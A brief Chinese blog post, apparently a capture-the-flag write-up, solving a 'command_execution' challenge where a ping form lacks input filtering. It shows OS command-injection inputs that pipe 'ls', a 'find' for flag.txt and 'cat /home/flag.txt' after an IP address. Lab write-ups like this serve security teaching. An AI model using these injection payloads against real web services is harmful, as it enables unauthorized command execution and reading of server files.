command_execution

题目来源： Cyberpeace-n3k0

题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。

 

 

首先测试一下127.0.0.1，发现返回了ping的结果

然后127.0.0.1 | ls，返回index.php，命令被成功zhixing

127.0.0.1 | find / -name flag.txt，找到flag.txt，位于/home下

127.0.0.1 | cat /home/flag.txt，得到flag

posted @ 2021-08-20 22:21  hktk1643  阅读(51)  评论(0)  编辑  收藏  举报